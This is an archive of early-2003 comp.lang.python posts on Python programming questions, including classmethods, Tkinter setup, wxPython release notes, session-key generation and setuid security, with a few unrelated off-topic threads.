> >> what are the best colleges for those wanting to major in computer
science
> >
> >To keep this on-topic for this newsgroup, I suppose the answer
> >has to be "any which teach Python!".
> >
> >You *did* want to keep this on-topic, didn't you?  <0.1 wink>
> >
> >-Peter
>
> Surely a candidate could only qualify if it taught
> its students the supreme importance of requirements
> analysis.  I think we'll all agree that a project
> to find, for example, "the best college", is far
> more likely to succeed if its implementers have
> some notion of geographic-financial-... constraints,
> whether the student's orientation is academic,
> intellectual, or professional, and so on.
> --
>
> Cameron Laird <Cameron at Lairds.com>
> Business:  http://www.Phaseit.net
> Personal:  http://phaseit.net/claird/home.html
ok to be more specific what are the best undergrad schools in the US for a
Computer Science major in general because most undergrads like me probbably
have not decided whether they will be computer programmers, network guys, or
whatever else.





From CousinStanley at HotMail.com  Sun Jan 12 09:54:48 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Sun, 12 Jan 2003 07:54:48 -0700
Subject: backreference
References: <avmpkh$hra$1@wnnews.sci.kun.nl> <avq0mi$i7pnf$1@ID-130333.news.dfncis.de>
Message-ID: <avrvhr$is74g$1@ID-130333.news.dfncis.de>

Peter & John ...

Thanks for pointing out my oversights ...

I overlooked the requirement for adding spaces
around the internal punctuation marks in the string
in addition to the one at the end and I understand now
that the len() function I used wasn't necessary ...

Cousin Stanley





From noah at noah.org  Sun Jan  5 13:14:58 2003
From: noah at noah.org (Noah)
Date: 5 Jan 2003 10:14:58 -0800
Subject: File-like objects name attribute.
Message-ID: <c9d82136.0301051014.7335bb8@posting.google.com>

I'm creating a file-like object. According to the current doc page:

    http://www.python.org/doc/current/lib/bltin-file-objects.html#l2h-175
    name 
        If the file object was created using open(), the name of the file. 
        Otherwise, some string that indicates the source of the file object,
        of the form "<...>". This is a read-only attribute and may not 
        be present on all file-like objects. 

What does the form "<...>" mean? Does this mean I should include < > around
the  name for my file-like object? For my purposes, I don't much care. 
I just want to be complete.

In my case, I am implementing a pure Python expect module. 
My file-like class spawns a child process and lets you talk to it like a file.
I want to have name represent the command and arguments of the child process
that was spawned. For exmaple, which of the following is more correct:
        name = "/bin/ls -la /etc"
or
        name = "</bin/ls -la /etc>"

Yours,
Noah



From nav at adams.patriot.net  Thu Jan  9 14:53:18 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 09 Jan 2003 14:53:18 -0500
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <yyy1y3m4c6d.fsf@adams.patriot.net> <RSjT9.38030$1c.26589@nwrddc01.gnilink.net>
Message-ID: <yyyk7he2j81.fsf@adams.patriot.net>

Carl Banks <imbosol at vt.edu> writes:

> I hope everyone else realizes he (Afanasiy) was being ironic.  

I believe your irony detector is yielding false positives.

> I realize using sublte irony in a computer programming chat room is
> not the smartest thing to do, as programmers tend not to be the most
> metaphorical people in the world.

Actually, programmers have to be fairly agile with metaphors and other
methods of abstraction, or was this further irony that I'm just not
getting?

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')



From aleax at aleax.it  Wed Jan 29 06:29:16 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 11:29:16 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net>
Message-ID: <gWOZ9.134330$AA2.5582397@news2.tin.it>

Brandon Van Every wrote:
   ...
> Really, look at all the overstuffed functionality available in modern
> widget sets and tell me that Python can somehow do a better job
> interfacing it all than C++ can.  It can't.

You assertion is simply false.  I'm an expert in both C++ and Python,
and I have experimented writing GUI's with both Qt driven by C++, and
PyQt driven by Python: Python's productivity advantage for this task is
about a factor of two in my experience -- not as high as for most kind
of code (where factors of about four to ten are more common in my
observations) but high enough to matter.

If you generate your Qt or PyQt interface with WYSYWIG tools (Qt
Designer, BlackAdder, Eric, ...) then, since the tools look and feel
much the same, it makes no real difference what kind of code they
generate, of course -- until you start coding to make your GUI be
_alive_, i.e., do anything but look pretty on the screen, and then
Python's productivity advantage immediately kicks in again.

(Personally, I'm more productive CODING a GUI [even in C++ plus
Qt...] than PAINTING it [say with Qt Designer] -- but, that's just
me, I realize: I think verbally, not visually, to a far greater
extent than most people, so GUI painters and other tools that
force me to think visually almost inevitably slow me down -- and
indeed I'm almost the last person you should want to DESIGN a GUI
in the first place -- but, these are totally separate issues).


Alex




From max at alcyone.com  Sun Jan 19 21:27:36 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 19 Jan 2003 18:27:36 -0800
Subject: Strange windows behavior
References: <d232c5e.0301191113.1ec6f9e5@posting.google.com>
Message-ID: <3E2B5E98.4A87AC9B@alcyone.com>

Chris Lyon wrote:

> How is this possible, different responses from python? Both versions
> (idle and command line ) are returning the same version numbers, I've
> unistalled and rebooted enough times to convince myself it's
> happening, Do I need a complete operating reinstallation + patches to
> correct this or have I found another section of the manuals I haven't
> read properly?

Because IDLE is an IDE and is doing the indenting for you.  Python
itself expects the files it processes (whether you type them in manually
or not) to be indented, but it doesn't do it for you via the interactive
prompts (the prompt changes to tell you that it expects indentation but
can't take you further than that).

The same applies to any other (good) programmer's editor; a Python mode
will be smart enough to help you with indentation, but to the Python
interpreter it's just a text file that had better have the proper
indentation.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Yes I'm / Learning from falling down / Heavily
\__/ Lamya
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From imbosol at vt.edu  Sat Jan 25 15:55:42 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sat, 25 Jan 2003 20:55:42 GMT
Subject: Generating Unique Keys
References: <1043511783.4939.1.camel@refugeeMedia>   <15922.49110.110304.235838@montanaro.dyndns.org> <mailman.1043515846.16890.python-list@python.org> <3E32E6EF.AA8C5A69@engcorp.com>
Message-ID: <iRCY9.146$qb1.126@nwrddc01.gnilink.net>

Peter Hansen wrote:
> Mongryong wrote:
>> 
>> Right now, I mainly need a way to generate unique (web) session keys.
>> However, it would be nice to have a general purpose function for
>> generating unique keys.
> 
> I may be missing something, but what would be wrong with incrementing
> a variable, starting at "1"?
> 
> You haven't specified a requirement which looks like it would
> eliminate this as a possibility.

Because then a malicious user could easily get access to someone
else's web session, since they know keys are sequential.  The
requirement wasn't stated, but it's generally a valid to assume the
webmaster doesn't want this to happen.


-- 
CARL BANKS



From tebeka at cs.bgu.ac.il  Wed Jan 29 11:05:26 2003
From: tebeka at cs.bgu.ac.il (Miki Tebeka)
Date: 29 Jan 2003 08:05:26 -0800
Subject: Installer for Python software (Linux)
References: <b17j29$e1515@imsp212.netvigator.com>
Message-ID: <33803989.0301290805.79b5532@posting.google.com>

Hello Wouter,

> At the moment I am developing a piece of software that is targeted at the
> office market, my ambition is in future to make it part of Gnome Office, or
> at least easily compatible with that project.
> 
> Now the software is developing pretty well, and it is time to start thinking
> of the installation.
> What I am looking for is an installation procedure like this:
> - user downloads program
> - user runs program, program asks for root password for general installation
> (if no root password: user installation)
> - program copies *.py to correct dir, and compiles the *.py to *.pyc.
> - user has to give some settings for the program to run properly
> 
> Now the major problems I see here are:
> - how to go to root mode? (and when asking the password: how to change the
> users keystrokes to *'s on the fly??)
> - how do I compile the *.py to *.pyc without running the program? (I guess
> this is trivial, and yes I am lazy so add this to the questions as well).
Have you looked at distutils? (http://www.python.org/doc/current/dist/dist.html)

HTH.
Miki



From arosado at softhome.net  Fri Jan 10 20:09:02 2003
From: arosado at softhome.net (Andres Rosado)
Date: Fri, 10 Jan 2003 21:09:02 -0400
Subject: Starting a python GUI from another python GUI.
Message-ID: <5.2.0.9.0.20030110210851.00c17930@mail.softhome.net>

On 03:26 AM 1/8/2003 -0500, the keyboard of python-list-request at python.org 
emitted:
>I'm trying to launch a python GUI from another python program
>using the command:
>
>      os.system('pythonw GUIapp.py')
>
>but an unnecessary console window pops up when the above statement is
>executed despite the use of pythonw.exe instead of python.exe.
>A funny thing is that no console window appear if the above statement
>is executed from a non-GUI python script.
>
>What is the best way to launch a stand-alone python GUI from another
>python GUI? (Without console windows...)
>
>(I'm using python2.2.2 / winXP / wxpython2.3.4.2)

I think that os.popen2() will do the trick. Also, the win32all extensions 
by Mark Hammond have an wrapper of ShellExecute().


--
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
Homepage: http://andres980.tripod.com/

Pedaeration, n.:
     The perfect body heat achieved by having one leg under the
sheet and one hanging off the edge of the bed.
         -- Rich Hall, "Sniglets"  





From nagylzs at freemail.hu  Wed Jan  8 17:36:26 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Wed, 08 Jan 2003 23:36:26 +0100
Subject: no side effects
Message-ID: <3E1CA7EA.7080209@freemail.hu>

Another explanation for a newbie would be this.

When comparing C++ (or other similar language) and Python for loop,
the first thing I would mention is that in C++, a for loop is terminated 
by a condition
but in Python, there is no condition anyway.

So in this program:

 >>>>for i in [1,2,3]:
 > ...     print i,
 > ...     i=3

or even in this one:

 >>>>for i in [1,1,1]:
 > ...     print i
 > ...     i = 1

of course the loop won't be terminated after the first
iteration (no reason to do that).

  Laci 1.0






From alan_salmoni at yahoo.com  Tue Jan 21 06:12:10 2003
From: alan_salmoni at yahoo.com (Alan James Salmoni)
Date: 21 Jan 2003 03:12:10 -0800
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com> <9tlo2v8arqnbrbrndti7eqqf6596tg4rbb@4ax.com> <hVadnXEIxLEWw7GjXTWc-w@speakeasy.net>
Message-ID: <b68f71a7.0301210312.2df2229f@posting.google.com>

Marcin Matuszkiewicz <marcin at finisar.com> wrote in message news:<hVadnXEIxLEWw7GjXTWc-w at speakeasy.net>...
> What is a most efficient way to create an intialized 2D list?
> 

a = [0] * 3
b = []
b.append(a)
b.append(a)

or:

c = [[0]*3,[0]*3]

Unless of course you use the Numeric extension:

a = Numeric.zeros((3,2))

Much easier!

Alan.
SalStat Statistics: http://salstat.sunsite.dk



From sholden at holdenweb.com  Tue Jan 21 20:59:57 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 22 Jan 2003 01:59:57 GMT
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <b68f71a7.0301211050.68ab02dd@posting.google.com>
Message-ID: <xWmX9.33379$bs2.30006@news2.central.cox.net>

[to comp.lang.python only, and not all those others]

"Alan James Salmoni" <alan_salmoni at yahoo.com> wrote in message
news:b68f71a7.0301211050.68ab02dd at posting.google.com...
> Allan,
>
> Very concise. So what are your pet peeves then?
>
> Alan James Salmoni
> SalStat Statistics
> http://salstat.sunsite.dk
>

Hmmm...

When an empty post inspires a thread this long I begin to realise why I
don't have as much time as I used to read c.l.py

let's-keep-it-real-people-ly y'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From jack at performancedrivers.com  Thu Jan 16 14:49:20 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Thu, 16 Jan 2003 14:49:20 -0500
Subject: classmethod() not inherited?
In-Reply-To: <m38yxl8k7y.fsf@mira.informatik.hu-berlin.de>; from martin@v.loewis.de on Thu, Jan 16, 2003 at 11:25:37AM +0100
References: <mailman.1042710569.22446.python-list@python.org> <m38yxl8k7y.fsf@mira.informatik.hu-berlin.de>
Message-ID: <20030116144920.G13035@localhost.localdomain>

On Thu, Jan 16, 2003 at 11:25:37AM +0100, Martin v. L?wis wrote:
> Jack Diederich <jack at performancedrivers.com> writes:
> 
> > How is it possible to have classmethods still be
> > classmethods in their kids?
> 
> As you found out, you have to explicitly generate class methods,
> again.
> 
> > I'd like to have ALL of the derivitives of Base
> > have foo as a classmethod, but it doesn't seem
> > to be automatic and the following doesn't work
> > 
> > import Test
> > 
> > for (Test.A .. Test.Z): # pseudo code
> >   Test.A.foo = classmethod(Test.A.foo)
> 
> This doesn't work because the classmethod builtin does not really
> accept method objects. It would work if you write either
> 
>   Test.A.foo = classmethod(Test.A.foo.im_func)
> 
> or
> 
>   Test.A.foo = classmethod(Test.A.__dict__['foo'])
> 
> I readily admit that both constructs are hacks that make unacceptable
> use of implementation details :-)

I tried this for fun, and Object/classobjec.c#PyMethod_New
likes to throw BadInternalCall exceptions. (668980 bug on sourceforge is
very similar)

> 
> However, you may reconsider your need to redefine the class method in
> every subclass. The whole point of class methods is that they get the
> class as argument, which, in many cases, can help to avoid
> redefinitions, e.g. in
> 
> class Person:
>   minage = 0
>   maxage = 100
>   def span(self):
>     return self.maxage-self.minage
>   span=classmethod(span)
> 
> class Child:
>   maxage = 18
> 
> class Adult:
>   minage = 18
> 
> Now, the .span method works fine for all three classes.
> 

Perfect, I'd forgotten that extra spiffyness of classmethod versus
staticmethod.

-jack




From tdelaney at avaya.com  Thu Jan 30 19:23:38 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Fri, 31 Jan 2003 11:23:38 +1100
Subject: Join
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADC416@natasha.auslabs.avaya.com>

> From: Robin Munn [mailto:rmunn at pobox.com]
> 
> Justin Martin Anderson <AndersonJ01 at aol.com> wrote:
> > join
> 
> <built-in method join of str object at 0x8117ee8>

Actually, I suspect it's more likely to be either:

C:\>join
join: too few non-option arguments
Try `join --help' for more information.

or:

>>> join
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: name 'join' is not defined
>>>

Tim Delaney




From mwh at python.net  Tue Jan 14 08:12:16 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 13:12:16 GMT
Subject: invoking multiple methods (Was: Python vs. Ruby)
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net> <3E1CD82B.3E67E420@alcyone.com> <x7heciuxhp.fsf_-_@guru.mired.org> <mailman.1042149021.12451.python-list@python.org>
Message-ID: <7h3d6mzswmi.fsf@pc150.maths.bris.ac.uk>

Jack Diederich <jack at performancedrivers.com> writes:

> To borrow from another language would something like
> 
> import lvalues from pragma
> 
> be acceptable?

Ooh, an easy one: No!

> The return values that are currently None would then be self for all
> calls in that module.

How about .sort() returning `self' 50% of the time, decided randomly?
:-)

Cheers,
M.

-- 
  Any form of evilness that can be detected without *too* much effort
  is worth it...  I have no idea what kind of evil we're looking for
  here or how to detect is, so I can't answer yes or no.
                                       -- Guido Van Rossum, python-dev



From duncan at NOSPAMrcp.co.uk  Mon Jan 13 09:58:17 2003
From: duncan at NOSPAMrcp.co.uk (Duncan Booth)
Date: Mon, 13 Jan 2003 14:58:17 +0000 (UTC)
Subject: python equiv of perl's split?
References: <m3k7h9p1p4.fsf@coco.kazmier.com>
Message-ID: <Xns93029719AEB78duncanrcpcouk@127.0.0.1>

pete-temp-12-29-2002 at kazmier.com wrote in 
news:m3k7h9p1p4.fsf at coco.kazmier.com:

> Just wondering what the 'best' way of emulating perl's split() method
> when used in the following manner:
> 
>      split /(:)/
> 
> Basically, split the string using a colon as the separator.  NOTE: the
> parens indicate that the split function should *include* the colons in
> the returned list.  Thus, given the string:
> 
>      test:one:two:three
> 
> The following array (list) is returned:
> 
>      test
>      :
>      one
>      :
>      two
>      :
>      three
> 
> What would be the easiest way to emulate this in Python?

Easiest is perhaps:

>>> re.findall(":|[^:]+", "test:one:two:three")
['test', ':', 'one', ':', 'two', ':', 'three']

But the best is probably to rewrite the code so you don't need the colons 
in the list.


-- 
Duncan Booth                                             duncan at rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?



From a.schmolck at gmx.net  Tue Jan 28 12:30:10 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 28 Jan 2003 17:30:10 +0000
Subject: determining method type (instance, static, class)
References: <yfsk7grpms1.fsf@black132.ex.ac.uk> <7h3ptqi39je.fsf@pc150.maths.bris.ac.uk>
Message-ID: <yfs4r7tp4gt.fsf@black132.ex.ac.uk>

Michael Hudson <mwh at python.net> writes:

> Alexander Schmolck <a.schmolck at gmx.net> writes:
> 
> > How can one determine whether a method .foo is a normal instance
> > method or a classmethod or a staticmethod?
> 
> Using isinstance.  

Hmm, yes, but not in the straightforward way:

  >>> isinstance(bar.foo, classmethod)
  0

Jp Calderone helpfully suggested:

  >>> isinstance(bar.__dict__.['foo'], classmethod)
  1

I must say this behavior seems unintuitive and ugly to me and Jp's solution
also won't work if I have *just* the method. What's the reason for it?

> Why do you want to know?

To automatically generate function equivalents of methods.


alex



From jbarham at jbarham.com  Tue Jan 21 19:21:18 2003
From: jbarham at jbarham.com (John E. Barham)
Date: Wed, 22 Jan 2003 00:21:18 GMT
Subject: Outlook Express and COM
Message-ID: <2ulX9.83789$Yo4.4666988@news1.calgary.shaw.ca>

I'm developing a server-side Bayesian spam-filtering system and would like
to pre-train the filter using my potential users' existing mailboxes, many
of whom will be using Outlook Express (i.e., switching to a Unix MUA is not
an option...).  I'd like to scan through their address books to build a
white-list and through their emails to build a dictionary of "ham" tokens.
Does OE provide COM interfaces to do this?  It would be especially nice if
it provided a pre-parsed interface to emails so that I could avoid parsing
raw RFC 822 messages or messing w/ DBX mailboxes.

Apologies as this is somewhat off-topic, but if there does exist an OE COM
interface I could develop a prototype in Python w/ the Win32 extensions and
the final app in C++.

TIA,

    John





From rcellis at email.com  Sun Jan 12 21:39:57 2003
From: rcellis at email.com (R. C. Ellis)
Date: Mon, 13 Jan 2003 02:39:57 GMT
Subject: Can't get Tkinter to work...
Message-ID: <3E222751.5040909@email.com>

I've set the PYTHONPATH environment variable to include the path to 
lib-tk, I've set both TK_LIBRARY and TCL_LIBRARY to point to directories 
containing the appropriat libraries, but I still get the following 
message following the statement: from Tkinter import *

File "<stdin>", line 1, in ?
File "/usr/local/lib/python2.2/lib-tk/Tkinter.py", line 35, in ?
  import _tkinter # If this fails your Python may not be configured for tk

ImportError: No module named _tkinter

If I could find any further information on configuring Python for tk I 
would gladly try it - but I've run out of sources, and I can't cook up a 
usefull google search.

Help.

RC




From robin at alldunn.com  Sat Jan 11 18:56:14 2003
From: robin at alldunn.com (Robin Dunn)
Date: Sat, 11 Jan 2003 15:56:14 -0800
Subject: ANN: wxPython 2.4.0.1
Message-ID: <3E20AF1E.8000505@alldunn.com>

I'm pleased to annouce that the 2.4.0.1 release of wxPython is ready for 
download from http://wxpython.org/.  wxPython is the Python binding to 
the wxWindows C++ cross platform GUI library, which supports creating 
GUI applications on WIndows, Linux and Mac OS X with a native look and feel.

This release is primarily a bugfix release and a transition from the 
2.3.x series to the "stable" 2.4.x series of releases.  However there 
have been a few releases made since I last widely announced it so I will 
summarize the new features in the recent releases below



Updated XRCed and wxTimeCtrl contribs.

Show a couple new wxGrid features in the demo.

Added wxHtmlFilter.

wxASSERT and related C++ runtime diagnostics are now converted to
Python exceptions.  When an assert happens a wxPyAssertionError
(which derives from AssertionError) exception is created and when
control returns back to the Python code that invoked the C++ API it
will be raised.  The same exception restrictions are in place as
before, namely that exceptions can't cross from one Python layer
through C++ to another Python layer.  That simply means that if you
want to catch wxPyAssertionError or any other exception that you need
to do it before control returns to C++ at the end of your event
handler or callback code.  There is some test code in demo/wxButton.py
you can use to play with this new feature.

Added some methods to wxApp (SetAssertMode and GetAssertMode) that let
you control how C++ assertions are processed.  Valid modes are:
wxPYAPP_ASSERT_SUPPRESS, wxPYAPP_ASSERT_EXCEPTION, and
wxPYAPP_ASSERT_DIALOG.  Using _SUPPRESS will give you behavior like
the old "final" builds and the assert will be ignored, _EXCEPTION is
the new default described above, and _DIALOG is like the default in
2.3.3.1 and prior "hybrid" builds.  You can also combine _EXCEPTION
and _DIALOG if you wish, although I don't know why you would.

You can now overload OnInitGui, OnExit and OnAssert in your classes
derived from wxApp.

Added GetSelectedCells, GetSelectionBlockTopLeft,
GetSelectionBlockBottomRight, GetSelectedRows, GetSelectedCols nethods
to wxGrid.

Added Python == and != operators for some basic classes.

Fixed the Python wrappers for wxInputStream so they no longer block
when reading from a wxProcess on wxGTK.  They now work more or less as
they did before 2.3.3.1 but the dual meaning of eof() has been
removed.  There is now a CanRead() method that lets you know if there
is data waiting to be read from the pipe.

Fixed method name clash in wxIEHtmlWin, renamed Refresh to RefreshPage.

Added Throbber from Cliff Wells to the library and the demo.

Windows installer prompts to uninstall old version first.

Added wxPython.lib.evtmgr by Robb Shecter, which is an easier, more
"Pythonic" and more OO method of registering handlers for wxWindows
events using the Publish/Subscribe pattern.

Added wxPython.lib.popupctl by Gerrit van Dyk which is a combobox-like
gizmo for poping up arbitrary controls.  It is currently using
wxDialog because of some issues with wxPopupWindow...

Added wxPython.lib.gridmovers by Gerrit van Dyk which facilitates the
dragging of columns and/or rows in a wxGrid.

Added wxPython.lib.multisash by Gerrit van Dyk which is a nice
implementation of allowing the user to split a window any number of
times either horizontally or vertically, and to close the split off
windows when desired.

Added helpviewer tool that displays HTML books similarly to how MS
HTMLHelp viewer does.  Changed how the wxPythonDocs tarball is built
and added a script to launch the doc viewer.


-- 
Robin Dunn
Software Craftsman
http://wxPython.org  Java give you jitters?  Relax with wxPython!






From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 16:12:56 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 13:12:56 -0800
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
References: <mailman.1042403841.24976.python-list@python.org>
Message-ID: <7x8yxqxeav.fsf@ruckus.brouhaha.com>

Tim Peters <tim.one at comcast.net> writes:
> > It seems like usually POP_TOP is the next byte code on either branch.
> > Or is there a difficult case where the value is needed on the stack?
> > It seems like the 99% case is getting the overhead (and also making the
> > polling interval counter count unnecessary codes).
> 
> I've been asking that for years <wink>.  The only reak answer is "it seemed
> like a good idea at the time".  Chained comparisons exploit it, but offhand
> I don't recall anything else.

Seems simple enough to add a new code that combines the two?  That
would avoid breaking old compiled code.



From donnalcwalter at yahoo.com  Fri Jan 31 13:43:18 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Fri, 31 Jan 2003 12:43:18 -0600
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <mailman.1044030403.16193.python-list@python.org> <kyy_9.110036$0v.3176491@news1.tin.it>
Message-ID: <b1eg0p$afs$1@main.gmane.org>

"Alex Martelli" <aleax at aleax.it> wrote:
> Donnal Walter wrote:
>
> > functionality. The iteron definition using generators doesn't really
work
> > for me for some reason. (I confess I don't fully understand generators.)
I
>
> Maybe you don't have a:
>    from __future__ import generators
> at the start of your module?

No, I did put the import statement in. The part about generators that I
don't understand is how does one determine if they are empty or not?

    def __init__(self, ref=[]):
        self.__ref = iteron(ref)
        if len(self.__ref) > 0:
            # do something

produces TypeError: len() of unsized object

Donnal Walter
Arkansas Children's Hospital







From judoscript at hotmail.com  Thu Jan  9 00:23:01 2003
From: judoscript at hotmail.com (James Huang)
Date: 8 Jan 2003 21:23:01 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <slrnb1ncej.n6a.grante@localhost.localdomain> <52719db8.0301080732.15604813@posting.google.com> <3e1c7267$0$26174$a1866201@newsreader.visi.com>
Message-ID: <52719db8.0301082123.6616b87@posting.google.com>

grante at visi.com (Grant Edwards) wrote in message news:<3e1c7267$0$26174$a1866201 at newsreader.visi.com>...
> In article <52719db8.0301080732.15604813 at posting.google.com>, James Huang wrote:
> > Grant Edwards <grante at visi.com> wrote in message news:<slrnb1ncej.n6a.grante at localhost.localdomain>...
>  
> >> Then python isn't a scripting language, since it can't do that sort of
> >> stuff.  I think.  I don't know what the language above is nor what the
> >> example does, but it appears to be manipulating files more-or-less directly
> >> the way a shell script does.
> >> 
> >> Here is how you do an os command in C:
> >> 
> >>  system("ls -l >foo");
> >>  
> >> Here is how you do the same thing in Python:
> >> 
> >>  os.system("ls -l >foo")
> >> 
> >> Not much difference, eh?
> > 
> > I'd say quite different even in this example.
> 
> How are the two examples above "quite different?"

I am sorry I answered to a wrong illusion -- I was comparing
[os.]system("ls...") to my copy example which is more sophisticated.
Sorry for the confusion and please don't think I am totally insane. :)
-James



From cben at techunix.technion.ac.il  Tue Jan  7 14:52:46 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Tue, 7 Jan 2003 21:52:46 +0200
Subject: Suggestion: UnixOptionParser class in optparse.py
In-Reply-To: <mailman.1041874910.3043.python-list@python.org>
References: <mailman.1041874910.3043.python-list@python.org>
Message-ID: <Pine.GSO.4.44_heb2.09.0301072126520.16059-100000@techunix.technion.ac.il>

On 2003-01-06, Rich Harkins wrote:

> I love the OptionParser class.Good stuff.  The only thing that I would
> want different (right now anyway) would be a simple way to parse Unix
> style options (first non-option argument terminates options).My
> proposal is to add a tiny subclass in optparse.py that would handle
> this:
>
[snip]
>
> This would provide the best of both worlds IMO.I can understand why
> some users would like the interspersed args, but it makes it harder to
> provide applications consistent with other Unix commands.

If you are using Linux or anything else with a rich set of installed GNU
programs, the majority of the applications already use this style.  As far
as many users like me are concerned, this is the new unix style and it's
here to stay :-).

The proper ways in most applications to disable it are setting
POSIXLY_CORRECT or usign '--' (which is the only really bullet-proof way
to protect unpredicatable data from interpretation as options).  IIRC,
optparse already respects both, so for typical application I think it's
best to let the user decide.

[There is also the dirty _<pid>_GNU_nonoption_argv_flags_ hack for a shell
to signal which args resulted from wildcard expansion, see info grep
for details - not that I ever saw bash set this...]

> I would have
> to wrap this separately to provide wrapper programs.For example,
>
> mydebugger [options] command args...
>
> will fail if args contains any flags.
>
This is a special use.  Indeed here forcing the posix behavior is the
right thing, so adding your class (that I snipped) is a good idea IMHO.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>





From lac at strakt.com  Sun Jan 26 16:24:30 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 22:24:30 +0100
Subject: Getting SuperUser Authority From Within Running Python Program 
In-Reply-To: Message from Tim Daneliuk <tundra@tundraware.com> 
   of "26 Jan 2003 15:10:07 GMT." <2ot01b.atg.ln@boundary.tundraware.com> 
References: <mq7v0b.6g8.ln@boundary.tundraware.com> <mailman.1043541527.18943.python-list@python.org> <2ot01b.atg.ln@boundary.tundraware.com> 
Message-ID: <200301262124.h0QLOUjL011787@ratthing-b246.strakt.com>

> 
> I am working on the next release of 'twander' - a user-programmable
> file manager/browser (http://www.tundrware.com/Software/twander).
> I want to be able to temporarily go to super-user status so the
> program can act upon/manage/manipulate root-owned files.

This is the wrong way to think about this.  You need to think very,
very, small and think 'as root I need to change the owner of a list
of files' or 'as root I need to open this file which is owned by root'
or something very tiny and very concrete like this.   Also you need
to consider whether your problem is having those files owned by root
in the first place.

> 
> I have another way to accomplish this - I can write a 'twander'
> macro that issues the necessary 'su' stuff to instantiate
> an image of itself with root permissions.  I was just wondering
> if there was some reasonable (safe) mechanism for doing this within
> a single instance of the program.  This is similar in spirt to
> sysadmin programs under Linux which allow you to enter the root
> password so they can operate on the system without you having
> to to log in the whole session as root.

This is the 'trusted user carries the password in his head' model
of security.  It is convenient, and this is why it is used.  It is
not all that secure and it most definitely does not generalise
to 'ok, let me model my program to be a trusted user that has the
root password in its head'.  No program is that trustworthy.  You
are setting yourself up for a lot of grief here.

You need to think a lot less friendly and a lot more paranoid.
There has got to be a good unix security guide online.  I will
look for one, though in the meantime somebody else should post it 
if they have it ....

> I am curious about one thing you said - that setuid is ok for selected
> (compiled) programs but not scripts.  If the script has appropriate
> limitations on who can modify it, why is setuid/setgid worse for
> scripts than compiled programs?

Well, as a practical matter, on linux systems they are simply ignored 
and will not run.  The reason why this is so, is because there is a
nasty, unavoidable race condition which means between the time the
script invokes Godlike power and it begins to run, somebody can install
their own version of the interpreter.  Then it is game over.  This is
not a theoretical problem.  It happens.  I was busy there on the
front lines when this began happening in the v7/4.1bsd days of unix and 
helped prove that this problem was inevitable, and that there was 
no way to fix it (at that time).  Differently written schedulers
might get around this -- it has been 20 years since I've thought about
this -- but since you simply  cannot get a setuid script in linux, 
was objecting on the practical grounds that 'it doesn't work'...

> 
> Thanks for your time,

My pleasure.

> 
> -- 
> -----------------------------------------------------------------------------
> -
> Tim Daneliuk
> tundra at tundraware.com
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Laura Creighton




From ericmattes at yahoo.com  Tue Jan 28 13:54:49 2003
From: ericmattes at yahoo.com (Eric Mattes)
Date: Tue, 28 Jan 2003 13:54:49 -0500
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil>
Message-ID: <b16jlp$fii$1@newsmaster.cc.columbia.edu>

Sorry, I should have been more specific about the intent of this program. I
am intending to distribute the program in a form which does not require an
internet connection. I wanted a python program to act as a server so that it
can receive requests from a browser pointing to localhost.

The program is a turn-based game, so it is suitable for web browser
implementation. I'm just wondering if its feasable to have the whole app
(server and all) in one package.

